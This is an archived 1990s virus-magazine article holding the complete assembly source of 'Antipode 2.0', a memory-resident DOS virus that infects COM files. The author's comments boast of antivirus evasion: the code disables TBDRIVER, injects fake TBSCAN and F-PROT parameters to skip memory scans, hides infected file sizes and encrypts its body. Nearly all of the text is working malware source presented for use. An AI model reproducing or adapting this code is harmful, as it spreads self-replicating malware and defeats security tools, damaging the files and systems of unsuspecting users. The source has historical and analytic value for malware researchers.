home *** CD-ROM | disk | FTP | other *** search
/ HPAVC / HPAVC CD-ROM.iso / pc / MAGS.ZIP / VLAD#4.ZIP / ARTICLE.4_4 < prev    next >
Encoding:
Text File  |  1995-04-20  |  14.2 KB  |  594 lines

  1. ; Hi guys, here's Automag hitting once again from France...
  2. ; Here comes Antipode Version 2.0, it really looks like 1.0 at the 1st look
  3. ; but i have done a lot of improvements, and fixed a bug ( try to copy COM
  4. ; files under windows file's manager when the 1.0 is in memory... i had
  5. ; never seen Windows going back to Dos so fast :) ) the bug was at the 
  6. ; line 254... and that was stupid ... just a pop...
  7.  
  8. ; the Majors improvements are :
  9. ; - Fake parameters added to TBSCAN command line to avoid memory scan and
  10. ;   'OWN' file system.
  11. ; - Patch the screen to 'OWN' instead of 'DOS'.
  12. ; - Fake parameters added to F-PROT command line to avoid memory scan.
  13. ; - Disable infection while f-prot is running to avoid the nasty
  14. ;   'Alert ! an active "stealth" virus has been found in memory' flag. 
  15. ; - Use the original int 21h vector, thus calls cant get monitored.
  16. ; - Disable TBDRIVER when found in memory, thus avoiding the whole TBAV pack.
  17. ; - still infect on int 21h 3d/6c/4b.
  18. ; - still fake tbscan by saying that the size is 0 if the file is infected.
  19. ; - still 11/12 & 4e/4f stealth.
  20. ; - this version is not detected by TBAV 6.34 ( 1.0 was detected ).
  21. ; - And last but not least: you dont need to trace anymore after compiling
  22. ;   just copy the binary after a 16 bytes .com that just jump at the end...
  23. ; i perhaps added some other stuffs, in fact, i cant remember :)
  24.  
  25. ; Things to do :
  26. ; - disinfection on the fly
  27. ; - EXE infection, yep, i never coded an EXE infector :)
  28. ; - Polymorphic encryption
  29. ; - Command.com infection... all my tests crashed lamely, but i will do my best
  30. ; - reduce the size under the 15Kb :)
  31.  
  32. exec_adr        =       0000:0100h              ; Address of return
  33.  
  34.         jumps                           ; Allow Tasm to resolve too
  35.                         ; long jumps
  36. virusseg        segment byte public
  37.         assume  cs:virusseg, ds:virusseg
  38.  
  39.         org     0000h                   ; Begin the virus at IP=0
  40.  
  41. start:
  42.         push    ds:[101h]               ; 101=offset of the jump
  43.         pop     dx
  44.         sub     dx,0FFFFh-102h          ; Dx=offset start
  45.         push    dx                      ; put it on the stack
  46.         mov     si,offset quit          ; adaptation of Qarks routine
  47.                         ; to fool debuggers
  48.         add     si,dx
  49.         mov     word ptr ds:[si],20CDh
  50. quit:           mov     word ptr ds:[si],04C7h
  51.  
  52.         call    cryptage                ; decrypt the virus
  53.         jmp debut_cr                    ; jump to the virus
  54.  
  55. cryptage        proc near
  56.         mov     si,offset debut_cr      ; start of the encrypted area
  57.         add     si,dx                   ; fix it 
  58.         mov    di,si
  59.         sub    di,140h
  60. cryptage_2      proc near                       ; this proc will be called to
  61.                         ; encrypt the virus
  62.         mov     cx,offset last-offset debut_cr
  63.                         ; cx=length to encrypt
  64. cr:             xor     word ptr ds:[si],di     ; enc/decrypt the virus
  65.         inc     si                      ; move to next byte 
  66.         loop    cr                      ; and enc/decrypt the virus
  67.         ret
  68. cryptage_2      endp
  69. cryptage        endp
  70.  
  71. debut_cr:       
  72.         mov     si,offset buffer        ; Buffer contains original
  73.                         ; bytes of the virus
  74.         add     si,dx                   ; fix it once again
  75.         mov     di,100h                 ; destination is entrypoint
  76.         push    cs
  77.         pop     es
  78.         movsw
  79.         movsb                           ; Patch back to the original
  80.  
  81.         mov     ah,02ch                 ; Ask for the Time
  82.         int     21h
  83.         cmp     dl,242                  ; Are we in memory ? 
  84.         jne     not_in_ram              ; if not, install
  85.         push    cs
  86.         mov     ax,100h
  87.         push    ax
  88.         retf                            ; go back to original entry
  89.  
  90. not_in_ram:
  91.         call    disable_tbdriver
  92.         push    cs
  93.         pop     ax
  94.         dec     ax
  95.         mov     ds,ax                   ; DS -> MCB
  96.         inc     ax
  97.         mov     cx,word ptr ds:[0003]
  98.         mov     dx,cx                   ; DX=number of parag. left
  99.         add     dx,ax
  100.         sub     cx,(((last2-start)/16)+1)*2
  101.                         ; alloc 2*size of the virus 
  102.         mov     word ptr ds:[0003],cx   ; fix the MCB
  103.         mov     cx,dx
  104.         sub     cx,(((last2-start)/16)+1)*2
  105.         mov     es,cx                   ; es=future cs of the virus
  106.         mov     cx,(last2-start)+1      ; size of the virus
  107.         push    cs
  108.         pop     ds
  109.         pop     dx
  110.         mov     si,dx                   ; si = entry of the virus
  111.  
  112.         push    si
  113.         push    cx
  114.  
  115.         mov     di,0
  116.         rep movsb                       ; copy the virus to es:0
  117.  
  118.         pop     cx
  119.         pop     si
  120.  
  121.         rep movsb                       ; once again
  122.  
  123.         push    es
  124.         mov     cx,offset nextstep
  125.         push    cx
  126.         retf                            ; Jump to ES:IP
  127.         ;install the virus in ram and hook vectors
  128. nextstep:                                       ; We are at the top of mem
  129.  
  130.         push    cs
  131.         pop     ds
  132.         mov     word ptr ds:[farjmp+3],ax
  133.                         ; Fix the return adress
  134.  
  135.         mov     ax,5200h                ; Get the original vectors
  136.         int     21h            ; of int 21h
  137.         mov     ds:word ptr save_int21+2,es     
  138.         mov     ds:word ptr save_int21,109eh
  139.  
  140.         push    ds
  141.         cli
  142.         xor    ax,ax
  143.         mov    ds,ax
  144.         mov     ax,offset my_int21      ; Use our int instead
  145.         xchg    word ptr ds:[21h*4],ax
  146.         mov    word ptr cs:[old_int21],ax
  147.         mov     ax,cs
  148.         xchg    word ptr ds:[21h*4+2],ax
  149.         mov    word ptr cs:[old_int21+2],ax
  150.         sti
  151.         pop    ds
  152.     
  153. farjmp:         jmp far ptr exec_adr            ;Return to the original
  154.  
  155.  
  156. my_int21        proc    far
  157.         cmp     ah,4ch
  158.         je      terminate
  159.         cmp    byte ptr cs:[fprot_active],1
  160.         je    to_vect
  161.         cmp     ah,11h          ; Find first
  162.         je      dir_stealth
  163.         cmp     ah,12h          ; Find next
  164.         je      dir_stealth
  165.         cmp     ah,4Eh          ; Find first
  166.         je      find_file
  167.         cmp     ah,4Fh          ; Find next
  168.         je      find_file
  169.         cmp     ah,3dh          ; File open
  170.         je      check_it
  171.         cmp     ah,4bh          ; Exec
  172.         je      check_it
  173.         cmp     ah,6ch          ; Extended open
  174.         je      check_it
  175.         cmp     ah,02ch         ; Time
  176.         jne     to_vect
  177.  
  178.         call    int21
  179.  
  180.         mov     dl,242          ; seconds = 242
  181.         push    cs
  182.         pop     bx
  183.         iret
  184. check_it:
  185.         jmp     check_it2
  186.  
  187. dir_stealth:
  188.         call    int21
  189.         test    al,al
  190.         jnz     not_a_file
  191.  
  192.         pushf
  193.         push    di
  194.         push    ax
  195.         push    bx
  196.         push    es
  197.  
  198.         mov     ah,51h
  199.         call    int21
  200.  
  201.         mov     es,bx
  202.         cmp     bx,es:[16h]
  203.         jnz     not_infected
  204.         mov     bx,dx
  205.         mov     al,[bx]
  206.         push    ax
  207.         mov     ah,2fh
  208.         call    int21
  209.         pop     ax
  210.         inc     al
  211.         jnz     fcb_ok
  212.         add     bx,7h
  213. fcb_ok:         mov     ax,es:[bx+17h]
  214.         add     bx,3
  215.         jmp     patch_size
  216. find_file:
  217.         call    int21
  218.         jc      not_a_file
  219.         pushf
  220.         push    di
  221.         push    ax
  222.         push    bx
  223.         push    es
  224.  
  225.         cmp     byte ptr cs:[tbscan_active],1
  226.                         ; is TBSCAN active ?
  227.         jne     dont_fool_DOS
  228.  
  229.         mov    cx,1
  230.         mov    ax,0b800h
  231.         mov    es,ax
  232.         mov    di,956h
  233.         mov    al,'O'
  234.         stosb
  235.         inc    di
  236.         mov    al,'W'
  237.         stosb
  238.         inc    di
  239.         mov    al,'N'
  240.         stosb
  241.  
  242. dont_fool_DOS:
  243.         mov     ah,2Fh
  244.         call    int21
  245.  
  246.         mov     ax,es:[bx+16h]          ; ax=time 
  247. patch_size:
  248.         and     al,1fh                  ; ax=seconds
  249.         xor     al,1                    ; are seconds=2 ?
  250.         jnz     not_infected
  251.         mov     ax,offset last-offset start
  252.                         ; ax = size of the virus
  253.         cmp     cx,1
  254.                         ; is TBSCAN active ?
  255.         jne     dont_fool
  256.         mov     ax,word ptr es:[bx+1Ah] ; if active then file size = 0
  257.  
  258. dont_fool:      sub     word ptr es:[bx+1Ah],ax
  259.                         ; sub virus size to file size
  260.  
  261. not_infected:
  262.         pop      es
  263.         pop      bx
  264.         pop      ax
  265.         pop     di
  266.         popf
  267.  
  268. not_a_file:
  269.         retf 2                          ; no iret to save the flags
  270.                         ; thanks to Qark...
  271.  
  272. check_it2:      pushf
  273.         push    ax
  274.         push    bx
  275.         push    cx
  276.         push    di
  277.         push    dx
  278.         push    ds
  279.         push    es
  280.         push    si
  281.         mov     byte ptr cs:[function],ah
  282.                         ; save ah for later
  283.         cmp     ax,6c00h
  284.         jne     not_extended
  285.         cmp     dl,1                    ; int 21h ax=6c00h/dx=0001h->
  286.                         ; int 21 ah=3dh
  287.         jne     push_no_good
  288.         mov     dx,si                   ; the name -> DS:SI
  289. not_extended:
  290.         mov    cs:[save_es],es
  291.         mov    cs:[save_bx],bx
  292.         push    ds
  293.         push    dx                      ; save filename seg/offs
  294.  
  295.         mov     ax,3524h
  296.         call    int21
  297.         mov     word ptr cs:[save_int24],bx
  298.         mov     word ptr cs:[save_int24+2],es
  299.                         ; save int 24h
  300.         push    cs
  301.         pop     ds
  302.         mov     dx,offset my_int24
  303.         mov     ax,2524h
  304.         call    int21
  305.  
  306.         pop     dx
  307.         pop     ds                      ; restore the filename
  308.  
  309.         mov     al,00h
  310.         push    ds
  311.         push    ds
  312.         pop     es
  313.         mov     di,dx
  314.         mov     cx,0ffh
  315.         repne   scasb                   ; seek to the end of the name
  316.  
  317.         push    cs
  318.         pop     ds
  319.         push    ds es
  320.         cmp     byte ptr cs:[function],4bh
  321.         jne     not_exec
  322.         push    di
  323.         sub     di,11
  324.         mov     si,offset tbscan
  325.         mov     cx,10
  326.         rep     cmpsb
  327.  
  328.         jnz     not_tbscan
  329.         mov     byte ptr cs:[tbscan_active],1
  330.         mov    bx,offset tbscan_command
  331.         jmp    pass_parameters
  332. not_tbscan:
  333.         pop    di
  334.         push    di
  335.         sub     di,9
  336.         mov     si,offset fprot 
  337.         mov     cx,8
  338.         rep     cmpsb
  339.         jnz     not_fprot
  340.         mov     byte ptr cs:[fprot_active],1
  341.         mov    bx,offset fprot_command
  342. pass_parameters:
  343.         mov    ax,cs:[save_es]
  344.         mov    ds,ax
  345.         mov    si,cs:[save_bx]
  346.         add    si,2
  347.         lodsw
  348.         mov    di,ax
  349.         lodsw
  350.         mov    es,ax
  351.         mov    ds,ax
  352.         mov    si,di
  353.         xor    ax,ax
  354.         lodsb
  355.         add    ax,8
  356.         stosb
  357.         add    di,ax
  358.         sub    di,8
  359.         mov    ax,cs
  360.         mov    ds,ax
  361.         mov    si,bx
  362.         mov    cx,9
  363.         rep    movsb
  364. not_fprot:
  365.         pop    di
  366.         
  367. not_exec:
  368.         pop    es ds
  369.         sub     di,4
  370.         push    di                      ; seek to the extension
  371.  
  372.         mov     si,offset comfile
  373.         mov     cx,3
  374.  
  375.         rep     cmpsb                   ; check if the file is a COM
  376.         pop     di
  377.         jz      good
  378.  
  379.  
  380.         push    di
  381.         mov     si,offset comfile+3
  382.         mov     cx,3
  383.  
  384.         rep     cmpsb                   ; or a com
  385.         pop     di
  386.         jnz     no_good
  387.  
  388. good:
  389.         pop     ds
  390.         cmp     word ptr [di-3],'DN'    ; COMMAND.COM ?
  391.         jz      push_no_good
  392.  
  393.         mov     ax,4300h
  394.         call    int21                   ; get the attributes
  395.  
  396.         mov     word ptr cs:[save_attrib],cx
  397.         jc      exit_2                  ; if no file exists...RUN !!!
  398.  
  399.         and    cl,00100000b
  400.         jne    exit_2
  401.  
  402.         mov     ax,4301h
  403.         xor     cx,cx
  404.         call    int21                   ; set zero attributes
  405.  
  406.         push    ds
  407.         push    dx
  408.  
  409.         mov     ax,3d02h                ;Open file Read/write
  410.  
  411.         call    int21
  412.  
  413.         mov     bx,ax                   ; bx = handle
  414.         mov     ax,5700h                ; get file time/date
  415.         call    int21
  416.         mov     cs:[save_time],cx
  417.         mov     cs:[save_date],dx       ; save them
  418.  
  419.         mov     ax,word ptr cs:[save_time]
  420.                         ;Check for an infection
  421.         and     al,1Fh
  422.         xor     al,1    
  423.         je      dirty_exit
  424.  
  425.         push    cs
  426.         pop     ds
  427.         mov     dx,offset buffer+(offset last2-offset start)+1
  428.         mov     cx,end_patch-patch
  429.         mov     ax,3F00h                ; Read xx first bytes
  430.         call    int21                   ; to te buffer of the second
  431.                         ; copy of the virus in memory
  432.  
  433.         xor     cx,cx
  434.         xor     dx,dx
  435.         mov     ax,4202h                ; Seek to EOF..
  436.         call    int21
  437.  
  438.         mov     di,ax                   ; ax = end of file
  439.         add     di,offset debut_cr-offset start+100h-140h
  440.                         ; di = value of the XOR
  441.         sub     ax,3h                   ; ax = adress of the jump
  442.         mov     word ptr cs:[return+1],ax
  443.                         ; patch the future file
  444.         mov     si,(offset last2-offset start)+offset debut_cr+1
  445.                         ; si=offset of the 2nd virus
  446.         push    si
  447.         push    di
  448.  
  449.         call    cryptage_2              ; crypt the 2nd copy
  450.  
  451.         push    cs
  452.         pop     ds
  453.         mov     dx,offset last2+1       ; dx= offset of the 2nd copy
  454.         mov     cx,last-start
  455.         mov     ah,40h
  456.         call    int21                   ; Write the virus to file...
  457.  
  458.         pop     di
  459.         pop     si
  460.  
  461.         call    cryptage_2              ; decrypt the 2nd copy
  462.  
  463.         xor     cx,cx
  464.         xor     dx,dx
  465.         mov     ax,4200h                ; seek to start of file
  466.         call    int21
  467.  
  468.         push    cs
  469.         pop     ds
  470.         mov     dx,offset patch
  471.         mov     cx,end_patch-patch
  472.         mov     ah,40h
  473.         call    int21                   ; write the jump to the file
  474.  
  475.         mov     dx,cs:[save_date]
  476.         mov     cx,cs:[save_time]
  477.         or      cx,0001h
  478.         and     cx,0FFE1h
  479.         mov     ax,5701h
  480.         call    int21                   ; restore file time/date
  481.  
  482. dirty_exit:
  483.         pop     dx
  484.         pop     ds
  485.  
  486.         mov     ah,3eh
  487.         call    int21                   ; close the file
  488.  
  489.  
  490. exit_2:         mov     ax,4301h
  491.         mov     cx,word ptr cs:[save_attrib]
  492.         call    int21                   ; restore the attributes
  493. push_no_good:
  494.         push    ds
  495. no_good:
  496.         pop     ds
  497.         mov     ds,cs:[save_int24+2]
  498.         mov     dx,cs:[save_int24]
  499.         mov     ax,2524h
  500.         call    int21                  ; restore the int 24h
  501.  
  502.         pop     si
  503.         pop     es
  504.         pop     ds
  505.         pop     dx
  506.         pop     di
  507.         pop     cx
  508.         pop     bx
  509.         pop     ax
  510.         popf
  511. to_vect:        jmp     dword ptr cs:[old_int21]
  512.                         ; and call the int 21h
  513. terminate:
  514.         mov     byte ptr cs:[tbscan_active],0
  515.         mov     byte ptr cs:[fprot_active],0
  516.         jmp     to_vect
  517.  
  518. my_int21        endp
  519.  
  520. my_int24        proc    far                     ; int 24h
  521.         mov     al,0                    ; no problem...
  522.         iret                            ; and return
  523. my_int24        endp
  524.  
  525. disable_tbdriver:
  526.         mov    ax,5200h
  527.         int    21h
  528.         mov    ax,es:[bx-2]
  529.         mov    bx,cs
  530.         mov    es,bx
  531. next_mcb:
  532.         mov    ds,ax
  533.         cmp    byte ptr ds:[0000],'Z'
  534.         jz    last_MCB
  535.         mov    si,8
  536.         mov    di,offset TBDRIVER
  537.         mov    cx,5
  538.         rep    cmpsb    
  539.         jz    TBfound
  540.         add    ax,word ptr ds:[0003]
  541.         inc    ax
  542.         jmp    next_mcb
  543. TBfound:
  544.         mov    bx,0CF0h
  545.         mov    si,0
  546. search_next:
  547.         mov    di,offset TBDRIVER_Entry
  548.         mov    cx,3
  549.         rep    cmpsb
  550.         jz    seek_to_patch
  551.         dec    bx
  552.         jnz    search_next    
  553. seek_to_patch:
  554.         mov    byte ptr [si-2],0
  555. last_mcb:
  556.         ret
  557. TBDRIVER     db 'TBDRIVER'
  558. TBDRIVER_ENTRY    db 0ebh,05h,0eah
  559. endp
  560.  
  561. comfile         db 'COMcom'                     ; extensions to infect
  562. tbscan          db 'TBSCAN.EXE'
  563. fprot        db 'PROT.EXE'
  564.         db '[Antipode 2.0]'
  565. tbscan_command    db ' co nm ',0dh
  566. fprot_command    db ' /nomem',0dh
  567. tbscan_active   db      0
  568. fprot_active    db      0
  569. buffer:         db      0CDh,20h,90h    
  570. int21   proc    near
  571.         pushf
  572.         db 9Ah
  573. save_int21      dw      2 dup (?)
  574.         ret
  575. int21   endp
  576.  
  577. patch:
  578. return:         db      0e9h
  579. last:           db      00,00
  580. end_patch:
  581.  
  582. save_es        dw    0
  583. save_bx        dw    0
  584. save_int24      dw      2 dup (?)
  585. old_int21    dd    0
  586. function        db      0
  587. save_attrib     dw      0
  588. save_date       dw      0
  589. save_time       dw      0
  590.  
  591. last2:
  592. virusseg        ends
  593.         end     start
  594.